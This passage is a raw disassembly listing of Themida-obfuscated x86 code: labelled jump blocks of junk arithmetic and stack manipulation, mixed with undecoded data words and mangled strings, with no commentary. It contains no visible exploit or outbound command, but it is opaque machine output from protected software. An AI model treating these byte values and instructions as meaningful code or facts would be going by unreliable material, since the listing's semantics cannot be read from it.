		dd 0E3A5C781h, 0FB29334Bh, 0FF535E5Fh, 0FF042474h, 1C8B2434h
		dd 4C48124h, 53000000h,	0C381E389h, 4, 8704C383h, 85E9241Ch
		dd 0FF00007Ch, 36E92434h, 6800002Eh, 16460064h,	0F7D6F75Eh
		dd 92E681DEh, 52089068h, 5B68D5BAh, 0B8BB5363h,	0E929BA05h
		dd 34FCh, 0F624CE80h, 4029E9DEh
		db 1, 0
; ---------------------------------------------------------------------------

loc_55953A:				; CODE XREF: Themida_:00560811j
		sub	ebx, 73CB1A4Ah
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55D93E
; ---------------------------------------------------------------------------

loc_55955D:				; CODE XREF: Themida_:00569B84j
		xchg	edx, esi
		not	edx
		jmp	loc_563D3C
; ---------------------------------------------------------------------------
		dw 895Bh
		dd 0F7455AD5h, 8EDC1DDh, 0DCF581h, 0BB536800h, 0FA32C34h
		dd 815BDD31h, 114F1BEDh, 0E9EB0167h, 0FFFFFA25h, 0E9515F54h
		dd 11FF3h, 104C781h, 0EF296E7Eh, 104EF81h, 0A6E96E7Eh
		dd 0F700002Eh, 0EAD14AD2h, 1BBBF281h, 0D7896B34h, 48EE815Ah
		dd 13D052Ch, 0C5EDE9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5595C2:				; CODE XREF: Themida_:0055C087j
		push	5CDFh
		jmp	loc_56B1BC
; ---------------------------------------------------------------------------
		dd 5C241C87h, 20AFF381h, 0EBC15DE0h, 4BBE5607h,	817FFF26h
		dd 0FFFFFFEEh, 7EF681FFh, 81798C72h, 0CD2E00EBh, 0CEEB8122h
		dd 29074D1Eh, 0CEC381F3h, 81074D1Eh, 0CD2E00C3h, 77E95E22h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55960B:				; CODE XREF: Themida_:00558FACj
		sub	edx, 21F330EBh
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	7306h
		mov	[esp], ebx
		mov	ebx, 6AD7635Ah
		neg	ebx
		jmp	loc_56AD99
; ---------------------------------------------------------------------------

loc_55962D:				; CODE XREF: Themida_:00568511j
		mov	edx, 1B0359E6h
		sub	eax, 0B2C0906h
		sub	eax, edx
		add	eax, 0B2C0906h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_563E62
; ---------------------------------------------------------------------------

loc_559649:				; CODE XREF: Themida_:0056B1FCj
		xor	edx, 0D9A65DCh
		jmp	loc_56B2FA
; ---------------------------------------------------------------------------

loc_559654:				; CODE XREF: Themida_:005628E1j
		pop	eax
		and	ecx, 29291925h
		push	edx
		mov	edx, 60480581h
		jmp	loc_56741F
; ---------------------------------------------------------------------------
		dw 3489h
		dd 46824h, 555E0000h, 0E2085FBDh, 74ED815Bh, 81749E0Eh
		dd 977467E5h, 3532E97Dh
		db 1, 0
; ---------------------------------------------------------------------------

loc_559686:				; CODE XREF: Themida_:0055ABF0j
		sub	esi, 1C85745Bh
		or	esi, 54BF0827h
		or	esi, 541103DAh
		dec	esi
		sub	esi, 16875ADFh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esi
		push	edx
		jmp	loc_562D4A
; ---------------------------------------------------------------------------
		db 0BFh, 0C8h, 48h
		dd 0D7F76BCBh, 2CFEE9h,	4C48100h, 87000000h, 15C243Ch
		dd 0DFF4E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5596CA:				; CODE XREF: Themida_:0056B668j
		inc	ebp
		add	ebp, 0FFFFFFFFh
		push	0
		sub	dword ptr [esp], 71CE0E9Ah
		sub	[esp], ebp
		add	dword ptr [esp], 71CE0E9Ah
		pop	ebp
		add	ebp, 0D533D9B7h
		and	eax, ebp
		jmp	loc_565781
; ---------------------------------------------------------------------------

loc_5596F5:				; CODE XREF: Themida_:0055BFB5j
		push	48C3h
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 406E628Eh
		dec	ecx
		push	eax
		mov	eax, 211A492Bh
		add	eax, 6FA93DE4h
		and	eax, 355F15A2h
		inc	eax
		sub	eax, 1
		shl	eax, 2
		push	ebp
		jmp	loc_55C027
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0E9E82124h, 1D3Bh
; ---------------------------------------------------------------------------

loc_559730:				; CODE XREF: Themida_:0055C3B2j
		mov	[esp], edx
		pop	ebx
		pop	edx
		add	ebp, ebx
		jmp	loc_55C297
; ---------------------------------------------------------------------------
		dd 181C68BBh, 6734E95Fh, 0E9520000h, 0FAC0h, 994DC281h
		dd 0D329B3FCh, 19D3E9h
		db 0
; ---------------------------------------------------------------------------

loc_559759:				; CODE XREF: Themida_:00563115j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	3BE834A2h
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_560C05
; ---------------------------------------------------------------------------
		align 4
		dd 6C380E3h, 80C32858h,	71E978EBh, 33000060h, 0E95C2434h
		dd 0BF2Eh
; ---------------------------------------------------------------------------

loc_55978C:				; CODE XREF: Themida_:0055B3D6j
		pop	edx
		pop	ebx
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55AF37
; ---------------------------------------------------------------------------

loc_55979B:				; CODE XREF: Themida_:00566D6Bj
		push	ebp
		push	ecx
		push	1297h
		mov	[esp], esi
		mov	esi, 618F6E49h
		not	esi
		dec	esi
		xor	esi, 3AEF6233h
		neg	esi
		add	esi, 240D7320h
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, 0B66191F0h
		add	ebp, 4BC332A3h
		add	ebp, 3E4A4758h
		sub	ebp, 1CA02142h
		sub	ebp, ecx
		add	ebp, 1CA02142h
		jmp	loc_55A560
; ---------------------------------------------------------------------------

loc_5597EA:				; CODE XREF: Themida_:00564037j
		pop	edi
		jmp	loc_564779
; ---------------------------------------------------------------------------
aYhL		db 'Yh|l',0
		align 2
aISv		db '‰,$é¢)',0
		align 2

loc_5597FE:				; CODE XREF: Themida_:0055C022j
		pop	ecx
		sub	[edi+24h], eax
		mov	eax, [esp]
		add	esp, 4

loc_559808:				; CODE XREF: Themida_:0055DEAFj
		push	ebx
		push	1200h
		mov	[esp], esi
		push	edx
		mov	edx, 4B3574ABh
		push	esi
		mov	esi, 7E9F1AEBh
		add	esi, 54C157CFh
		add	edx, 0F441ECDh
		sub	edx, esi
		sub	edx, 0F441ECDh
		pop	esi
		jmp	loc_56672F
; ---------------------------------------------------------------------------
		db 81h
		dd 84B10DEFh, 8BF889F3h, 0C483243Ch, 21EAE904h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55984A:				; CODE XREF: Themida_:005629EBj
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5641FB
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E9243C33h, 49FBh
; ---------------------------------------------------------------------------

loc_559880:				; CODE XREF: Themida_:00568DF5j
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_56D088
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5C4AE9h, 0DAC28100h, 0E914BB18h, 0FFFFF4C2h
; ---------------------------------------------------------------------------

loc_5598A0:				; CODE XREF: Themida_:00567DB5j
		mov	edi, 695A143Bh
		sub	edi, 56FA0383h
		jmp	loc_5687EA
; ---------------------------------------------------------------------------
		dd 0F4DDE956h, 815CFFFFh, 2C6h,	74FF5600h, 66E90424h, 8B00006Eh
		dd 0A3E92434h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5598CF:				; CODE XREF: Themida_:0055BF6Fj
		add	esi, edx
		pop	edx
		push	ebx
		push	esi
		mov	esi, 763C327Eh
		add	esi, 89C3CD86h
		jmp	loc_5629A3
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 4AC1h, 54243489h, 5E2434FFh, 12C36E9h, 575BF00h
		dd 0C5E94BB0h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559903:				; CODE XREF: Themida_:00563CDBj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_563F77
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 8F000000h,	248B2404h, 0EF6AE924h, 0C281FFFFh
		dd 4, 0E904C283h, 0FFFFF294h, 815DEB01h, 2EBh, 241C8700h
		dd 0FFF1DCE9h, 0EC81ACFFh, 4, 0B6241489h, 0A72CC1h, 2EC83F0h
		dd 241C8966h, 0DBE9A7B3h, 590000C2h, 8B66F000h,	0EC682414h
		dd 89000056h, 36E92414h, 4E0000B7h, 0E903EEC1h,	44B2h
		dd 6E23ED81h, 0E581440Ch, 49AC7C7Dh, 26A6E9h
		db 0
; ---------------------------------------------------------------------------

loc_55998D:				; CODE XREF: Themida_:00561A0Ej
		mov	[esp], eax
		push	edi
		push	71501C16h
		pop	edi
		inc	edi
		jmp	loc_564606
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 87000000h, 565C242Ch, 0D87A06BEh, 4EC837Fh, 3A7DE9h
		dd 0D830AC00h, 1B8668h,	240C8900h, 2F8CE9h, 81D2F700h
		dd 4ECh, 6D63E900h, 0FA2D0000h,	562CE003h, 2A8E6851h, 0C8B5851h
		dd 4C48124h, 81000000h,	457C6CF1h, 2AEBE900h
		db 1, 0
; ---------------------------------------------------------------------------

loc_5599F2:				; CODE XREF: Themida_:0055DE29j
		push	4
		jmp	loc_568EA5
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 10024h, 4E6CE95Fh, 814A0000h, 0C25028F2h
		dd 0C5F28132h, 0E96A376Dh, 4EF4h, 0FF240C89h, 8B042474h
		dd 0C483240Ch, 0EB4E904h, 79B80000h, 2D129A1Eh,	1561434Dh
		dd 5D53E9h
		db 0
; ---------------------------------------------------------------------------

loc_559A3D:				; CODE XREF: Themida_:00561011j
		neg	ebp
		neg	ebp
		dec	ebp
		and	ebp, 25782D81h
		jmp	loc_5689C5
; ---------------------------------------------------------------------------

loc_559A4D:				; CODE XREF: Themida_:00569B91j
		add	esi, edi
		jmp	loc_55B03A
; ---------------------------------------------------------------------------
		dd 3C78A468h, 19E95E30h, 2800002Ch, 9DC380CBh, 80CDC380h
		dd 0C380D0EBh, 0CB2FE9CFh, 1580000h, 0EA815EF2h, 766D552Bh
		dd 4EC81h, 1FE90000h, 83000139h, 3C8904ECh, 54CC6824h
		dd 3E90000h
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559A97:				; CODE XREF: Themida_:005620D7j
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ch, 8Ch
		mov	bl, ch
		pop	ecx
		jmp	loc_55D57E
; ---------------------------------------------------------------------------
		dd 0C6F7814Fh, 0C1363169h, 0F78105E7h, 295075ACh, 3C8BF829h
		dd 0E0895024h, 405h, 40500h, 26E90000h,	6600010Ah, 68E9F001h
		dd 81000050h, 780073F1h, 0C181410Eh, 3F4B92Ch, 1A5CE9h
		dd 4C48100h, 66000000h,	0AFB15153h, 113EBE9h, 0F9015A00h
		dd 75BAC181h, 31FF7D3Dh, 4C4BB850h, 443173EDh, 73E90424h
		dd 2D00000Dh, 492D18AAh, 1DE9535Ah, 0E9FFFFFCh,	0FFFFED68h
		dd 6529BE56h, 0B9516207h, 6FC10A6Bh, 8105E1C1h,	1D468EC9h
		dd 0FBE1814Eh, 8159C671h, 0AF2379E9h, 59CE09FAh, 3B82F681h
		dd 0E6C171EDh, 19AA6802h, 4890000h, 83BB824h, 0E82D5E20h
		dd 0E9510811h, 4F5h
; ---------------------------------------------------------------------------

loc_559B68:				; CODE XREF: Themida_:0056BD00j
		add	eax, esi
		pop	esi
		sub	eax, 275E09BDh
		push	esi
		mov	esi, 65A51B68h
		shl	esi, 8
		add	esi, 11E23D29h
		inc	esi
		and	esi, 29D05AE7h
		shl	esi, 6
		add	esi, 0F59A1C0Ch
		jmp	loc_55CCB4
; ---------------------------------------------------------------------------

loc_559B94:				; CODE XREF: Themida_:0056AE54j
		push	ebx
		jmp	loc_55A6A5
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 54F2E924h, 34FF0000h, 27EEE924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_559BAA:				; CODE XREF: Themida_:00560F30j
		add	esp, 4
		add	esp, 4
		jmp	loc_561CF4
; ---------------------------------------------------------------------------
		db 5Fh
		dd 412AC381h, 0EB2965B4h, 412AEB81h, 2C8B65B4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_560374
; ---------------------------------------------------------------------------
		db 0ADh
		dd 4EC81h, 14890000h, 37E95624h, 8300000Eh, 0C9E904ECh
		dd 33000010h, 10E9242Ch
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559BFB:				; CODE XREF: Themida_:00559D70j
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_55F6BD
; ---------------------------------------------------------------------------

loc_559C13:				; CODE XREF: Themida_:005689D7j
		mov	[esp], edx
		mov	edx, 8391BC4h
		sub	edx, 7A9D86Bh
		or	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55BD7C
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 129FCE9h,	0E8BE5600h, 0E954CB71h,	6F6Bh, 488DE95Ah
		dd 31B90000h, 815EA242h, 1E9h, 93F18100h, 0E926EB67h, 15AAh
; ---------------------------------------------------------------------------

loc_559C60:				; CODE XREF: Themida_:0055D840j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_568CFA
; ---------------------------------------------------------------------------
		dd 15CF355Ch, 0C129180Fh, 240C8758h, 240C895Ch,	0FFEC0BE9h
		dd 0D0F68FFh, 14890000h, 4BD5524h, 89000000h, 2124E9EAh
		dd 0FA890001h, 141FE95Fh
		db 1, 0
; ---------------------------------------------------------------------------

loc_559C9E:				; CODE XREF: Themida_:00562577j
		inc	edx
		neg	edx
		neg	edx
		sub	edx, 2C5B1688h
		sub	edx, 5DFF08E4h
		jmp	loc_55A234
; ---------------------------------------------------------------------------

loc_559CB4:				; CODE XREF: Themida_:00568E74j
		pop	edx
		xor	ebx, 0A05B9F73h
		xor	esi, ebx
		pop	ebx
		jmp	loc_559CF9
; ---------------------------------------------------------------------------

loc_559CC3:				; CODE XREF: Themida_:0055AC6Dj
		mov	eax, 1CA039A9h
		jmp	loc_568872
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 0E8h
		dd 13DC8E9h, 0E9D00100h, 0DD8Ch, 43242C81h, 5A07245Fh
		dd 5F43C281h, 895D0724h, 2434FFD5h, 0E789575Ah,	112A5E9h
		db 0
; ---------------------------------------------------------------------------

loc_559CF9:				; CODE XREF: Themida_:00559CBEj
		xor	ebx, esi
		pop	esi
		sub	ebp, 5D392A8Bh
		add	ebp, ebx
		add	ebp, 5D392A8Bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55C88C
; ---------------------------------------------------------------------------
		dd 425A2D58h, 148B14B8h, 0E7895724h, 29DEE953h
		db 1, 0
; ---------------------------------------------------------------------------

loc_559D2A:				; CODE XREF: Themida_:0056383Ej
		pop	ebx
		push	edx
		jmp	loc_568FBB
; ---------------------------------------------------------------------------
aWqsf		db 'WQéFÔ',0
		align 4

loc_559D38:				; CODE XREF: Themida_:0056DD43j
		pop	esp
		jmp	loc_559164
; ---------------------------------------------------------------------------

loc_559D3E:				; CODE XREF: Themida_:00564866j
		mov	[esp], edx
		push	5095h
		jmp	loc_5663FF
; ---------------------------------------------------------------------------
		db 66h
		dd 0B7241C89h, 66FD2833h, 621AE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559D5A:				; CODE XREF: Themida_:00565563j
		push	dword ptr [esp]
		pop	eax
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		jmp	loc_559BFB
; ---------------------------------------------------------------------------
		db 0B9h, 1Ch, 6
		dd 0E98123EBh, 0EE4D8E1Ch, 0C159CA09h, 0BD5503EAh, 1D20AD7Eh
		dd 1AE9EA01h, 5A000102h, 37BB5357h, 0E9211700h,	0F4DFh
; ---------------------------------------------------------------------------

loc_559DA0:				; CODE XREF: Themida_:0055B6B7j
		add	esi, eax
		pop	eax
		pop	eax
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_55AA76
; ---------------------------------------------------------------------------

loc_559DB6:				; CODE XREF: Themida_:00568E46j
		mov	ebp, 47D20F58h
		mov	esi, 0E6C61753h
		add	esi, 328A5735h
		jmp	loc_568722
; ---------------------------------------------------------------------------
		db 28h
		dd 536659E8h, 0F80003B7h, 0C1805B66h, 80C12859h, 0C05859E9h
		dd 0C1FE05E9h, 3226866h, 24148966h, 0D13036B2h,	0B4505A66h
		dd 0B4C48006h, 0C06ECC80h, 0D4F606E4h, 0EC80C4FEh, 58E108E5h
		dd 6614E980h, 91B45051h, 80CECC80h, 1AE9EFF4h, 8F00008Fh
		dd 248B2404h, 0BBBDE924h, 0E9580000h, 1294Ah, 8B243487h
		dd 0B6522424h, 8BF30018h, 0C4832414h, 53516604h, 12DE5E9h
		dd 0F6D6F600h, 0BC4DE9D6h, 0EFC10000h, 81EFD108h, 0E25FA5C7h
		dd 5FFB293Ah, 0E95BD829h, 22Bh
; ---------------------------------------------------------------------------

loc_559E64:				; CODE XREF: Themida_:00560257j
		push	7856h
		mov	[esp], ebp
		mov	ebp, 2A7B04DBh
		shl	ebp, 8
		add	ebp, 4D370CE6h
		sub	esi, ebp
		pop	ebp
		add	ebp, esi
		jmp	loc_562BF8
; ---------------------------------------------------------------------------
		dd 0E958C101h, 0B95Dh, 4B8h, 24448100h,	1454D504h, 24440171h
		dd 246C8104h, 1454D504h, 5645E971h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559EAA:				; CODE XREF: Themida_:00569E91j
		push	ebp
		mov	ebp, 119D663Ch
		xor	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	40h
		mov	edx, [esp]
		push	3E1h
		mov	[esp], esi
		push	esp
		jmp	loc_56816B
; ---------------------------------------------------------------------------
		dd 7F49EA81h, 0C281398Ah, 28BA486Dh, 575AD789h,	0D1F6E9h
		dd 0C895C00h, 290CB924h, 68E96462h, 8100012Bh, 4C1h, 240C8700h
		dd 0FFFD63E9h, 6FB850FFh, 0E976591Fh, 3B0h
; ---------------------------------------------------------------------------

loc_559F14:				; CODE XREF: Themida_:0056CC15j
		and	esi, 0C300675h
		jmp	loc_56450F
; ---------------------------------------------------------------------------
		db 89h
		dd 26F9E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559F26:				; CODE XREF: Themida_:0056303Cj
		sub	edx, 75034986h
		sub	edx, 3691039Bh
		add	edx, ebx
		jmp	loc_56DB1D
; ---------------------------------------------------------------------------
		db 53h,	88h, 0CBh
		dd 0E95BDC88h, 13559h
; ---------------------------------------------------------------------------

loc_559F44:				; CODE XREF: Themida_:005603AFj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		jmp	loc_565600
; ---------------------------------------------------------------------------

loc_559F51:				; CODE XREF: Themida_:0055F12Cj
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	0FCCh
		jmp	loc_55B3A3
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aLSq1		db '‹$$éï1',0
		align 4
		dd 24048B66h, 70568h, 241C8900h, 173E68h, 200E6800h, 0E9540000h
		dd 76E5h
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5693A9
; ---------------------------------------------------------------------------

loc_559FA7:				; CODE XREF: Themida_:00565E72j
		mov	[esp], ebx
		add	dword ptr [esp], 7EE21A42h
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55AEA2
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0BB5304C4h, 7C5D0161h, 84FC381h, 61E9027Ch
		dd 8700013Ch, 685C2434h, 709h, 68241C89h, 36FCFD23h, 83241C8Bh
		dd 5B2D04C4h, 0E9131760h, 0A685h, 4C4835Ah, 0F2E9E328h
		dd 5F000032h, 0C381CB87h, 0BF7EADD0h, 89DD8955h, 242C8BEEh
		dd 5B04C483h, 79C8A3BAh, 0E3EA81A4h, 29532775h,	0E3C281F2h
		dd 5E532775h, 81FFC283h, 9D1F2BCAh, 2CB85014h, 0E963F470h
		dd 4300h, 148B665Ch, 372A6824h,	34890000h, 4D276824h, 24890000h
		dd 5B0E924h, 0E3890000h, 0D774E9h, 13DB0D00h, 1D2D36F9h
		dd 0F70AE1D9h, 58BD55D0h, 0E90E3370h, 0CDCDh
; ---------------------------------------------------------------------------

loc_55A074:				; CODE XREF: Themida_:0055BAA2j
		sub	ebx, 75953907h
		sub	ebx, 2934F332h
		sub	ebp, ebx
		pop	ebx
		mov	ecx, ebp
		pop	ebp
		add	ecx, edi
		mov	[ecx], eax
		jmp	loc_55D71C
; ---------------------------------------------------------------------------
		db 29h
		dd 79FC05D0h, 53550823h, 78529E68h, 0BA525B44h,	0FFFFFFFFh
		dd 1D81E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A0A9:				; CODE XREF: Themida_:0056DBD6j
		pop	ebp
		add	eax, 62B137DEh
		add	eax, 11DF0D9Ch
		sub	ecx, eax
		jmp	loc_560E3F
; ---------------------------------------------------------------------------

loc_55A0BB:				; CODE XREF: Themida_:00566E3Cj
		mov	[esp], eax
		push	ecx
		jmp	loc_55E31A
; ---------------------------------------------------------------------------

loc_55A0C4:				; CODE XREF: Themida_:00562DADj
		add	ebx, edi
		jmp	loc_55E648
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 42474FFh, 24048F59h, 0FFF7D5E9h, 81DAF7FFh
		dd 0FDF7D4F2h, 0E9D129FBh, 0FFFFF90Ch, 0CD31E931h, 2414F751h
		dd 0E9240C8Bh, 2D28h
; ---------------------------------------------------------------------------

loc_55A100:				; CODE XREF: Themida_:0056175Aj
		push	ebx
		mov	ebx, 22BD5CA6h
		xor	ebx, 40B17802h
		dec	ebx
		xor	ebx, 620C24A1h
		mov	ebp, ebx
		pop	ebx
		add	edi, ebp
		jmp	loc_55FEA6
; ---------------------------------------------------------------------------
a1Zasw		db '1ÑZASW¿',0
		db 76h,	0ECh, 6Eh
		dd 815FFB89h, 9658AEF3h, 8E3C16Eh, 4E3C14Bh, 8105E3C1h
		dd 5BFE01F3h, 74E9815Dh, 29424178h, 74C181D9h, 0E9424178h
		dd 10C3Fh, 5E2434FFh, 8904EC83h, 0E589242Ch, 4BF57h, 0FD010000h
		dd 4C5835Fh, 5C242C87h,	0C205FA2Dh, 0BFBA523Ch,	0F727086Fh
		dd 13AE9DAh, 0D7880001h, 28E72C5Ah, 0FFE704F8h,	505B2434h
		dd 405E089h, 83000000h,	0C2E904C0h, 53000105h, 0DD88E388h
		dd 24048B5Bh, 92C6850h,	24890000h, 24048124h, 4, 40558h
		dd 0C0830000h, 24048704h, 0E8005B5Ch, 7FDC6859h, 1C890000h
		dd 4EC8124h, 89000000h,	0E9532404h, 6E93h, 54BA6652h, 0F281665Ch
		dd 29667A59h, 66505AD6h, 6604CBB8h, 0E906E8C1h,	0B3F8h
		dd 217924BAh, 2440E929h, 1C8B0001h, 0E3895324h,	4C381h
		dd 0F4E90000h, 66000047h, 30BDB753h, 885B66FCh,	0EE8858E5h
		dd 80C6FE59h, 0EE806BE6h, 0E9F50083h, 258Bh
; ---------------------------------------------------------------------------

loc_55A234:				; CODE XREF: Themida_:00559CAFj
		sub	edx, 45E1C691h
		xor	edi, edx
		pop	edx
		shl	edi, 1
		xor	edi, 0DF0CD52Eh
		jmp	loc_56A6ED
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 117A16B2h, 0C9814149h, 40080828h, 0FC91C181h, 0E951F3A6h
		dd 3D8Ah
; ---------------------------------------------------------------------------

loc_55A264:				; CODE XREF: Themida_:00566660j
		mov	edx, eax
		pop	eax
		push	edx
		mov	ebp, [esp]
		jmp	loc_55A81D
; ---------------------------------------------------------------------------

loc_55A270:				; CODE XREF: Themida_:0056CE49j
		mov	edi, 12651856h
		jmp	loc_56A976
; ---------------------------------------------------------------------------

loc_55A27A:				; CODE XREF: Themida_:0055F936j
		push	eax
		jmp	loc_55A9E5
; ---------------------------------------------------------------------------

loc_55A280:				; CODE XREF: Themida_:0055D05Aj
		shr	edi, 1
		jmp	loc_55A7B2
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 815F0424h,	4C7h, 753FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A29A:				; CODE XREF: Themida_:00564550j
		pop	esp
		shr	esi, 2
		shl	esi, 7
		add	esi, 34C0B500h
		and	ecx, esi
		push	dword ptr [esp]
		jmp	loc_561C9B
; ---------------------------------------------------------------------------
		db 50h,	88h, 0DCh
		dd 48BE688h, 4C48324h, 0E9241C8Bh, 0C40Dh, 0A752F52Dh
		dd 98BF5708h, 0F7463B43h, 0C78147D7h, 41B49126h, 73E9F829h
		dd 1000028h, 8BED81C5h,	0E919963Bh, 5414h, 0E9241C89h
		dd 0E846h, 7E68C7BBh, 30BE56A6h, 8179FB7Eh, 5805AAC3h
		dd 81F32974h, 5805AAEBh, 0D7E8E974h, 0E9570000h, 0C766h
		dd 68E18951h, 2D04h, 0BD242C89h, 4, 7AD9C181h, 0E9015E24h
		dd 7AD9E981h, 815D5E24h, 4C1h, 21FBE900h
		db 1, 0
; ---------------------------------------------------------------------------

loc_55A342:				; CODE XREF: Themida_:00561FD3j
		sub	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 0BC82C84Ah
		xor	eax, esi
		pop	esi
		mov	edx, eax
		pop	eax
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_568329
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF0589BEh, 7EEC106h, 0FE0FF681h, 0F701000Dh
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_567855
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 2434895Ch, 4DF8E9h, 8BF10100h, 0C4832434h, 0EE9FE904h
		dd 0C890000h, 0E955B124h, 2CF6h
; ---------------------------------------------------------------------------

loc_55A398:				; CODE XREF: Themida_:0056618Bj
		push	eax
		mov	eax, esp
		jmp	loc_566E9E
; ---------------------------------------------------------------------------
aYzsN		db 'YZéºN',0
		dw 5200h
		dd 762EC5BAh, 0C1F2817Bh, 297B762Eh, 1C875AD3h,	27E95C24h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A3BF:				; CODE XREF: Themida_:0055C105j
		xor	ecx, esi
		xor	esi, ecx
		jmp	loc_56BA96
; ---------------------------------------------------------------------------

loc_55A3C8:				; CODE XREF: Themida_:0055AF0Fj
		mov	eax, 6C14007Dh
		push	ebx
		push	5B7404BBh
		pop	ebx
		sub	ebx, 217619D1h
		sub	ebx, 581D6B29h
		inc	ebx
		and	ebx, 419577EAh
		sub	ebx, 64C12273h
		jmp	loc_568CED
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9243489h, 329Eh, 4BB535Eh, 1000000h, 57505BDEh
		dd 28FFBE56h, 54BF0FD6h, 29343053h, 0D7F75EF7h,	113E1E9h
		dd 48B6600h, 0D9685724h, 0E9000000h, 0B922h, 93C3805Ah
		dd 0EAEB80h, 0BFB551C3h, 8BE9C5FEh
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A443:				; CODE XREF: Themida_:00565AB8j
		add	eax, 6F074B13h
		sub	ecx, eax
		pop	eax
		jmp	loc_5647BE
; ---------------------------------------------------------------------------
		dd 0E95FF929h, 43A4h, 65B65266h, 0F028702Ch, 9B08E953h
		dd 0C6810000h, 643E2960h, 567EE9h, 4C48300h, 8004C483h
		dd 0E8308EEDh, 0CF686659h, 0C896661h, 19766824h, 14890000h
		dd 301CB624h, 30F730FEh, 86D7F6FEh, 0AA0AE9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A49E:				; CODE XREF: Themida_:005627FCj
		sub	edx, 3B1E0453h
		add	edx, 5545D25h
		pop	esi
		pop	ecx
		jmp	loc_569FF5
; ---------------------------------------------------------------------------

loc_55A4B1:				; CODE XREF: Themida_:00563625j
		mov	eax, [esp]
		push	edx
		jmp	loc_561024
; ---------------------------------------------------------------------------
		dw 9BBAh
		dd 294E1A71h, 0ED815AD5h, 0FAFDBEC1h, 2C8BEF01h, 4C48124h
		dd 0E9000000h, 0F92Bh, 31243C33h, 3C33243Ch, 0E9555C24h
		dd 0FFFFE67Ah, 7AABEB81h, 0D32901BAh, 7AABC381h, 0C38101BAh
		dd 0BFC7AC2h, 0E189515Ah, 4C181h, 0E9830000h, 240C8704h
		dd 2434895Ch, 0B353F2BEh, 5EF3017Dh, 0DA98E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A51D:				; CODE XREF: Themida_:0056B837j
		pop	edx
		add	ebp, eax
		push	ecx
		mov	ecx, 532E4B20h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_55E35C
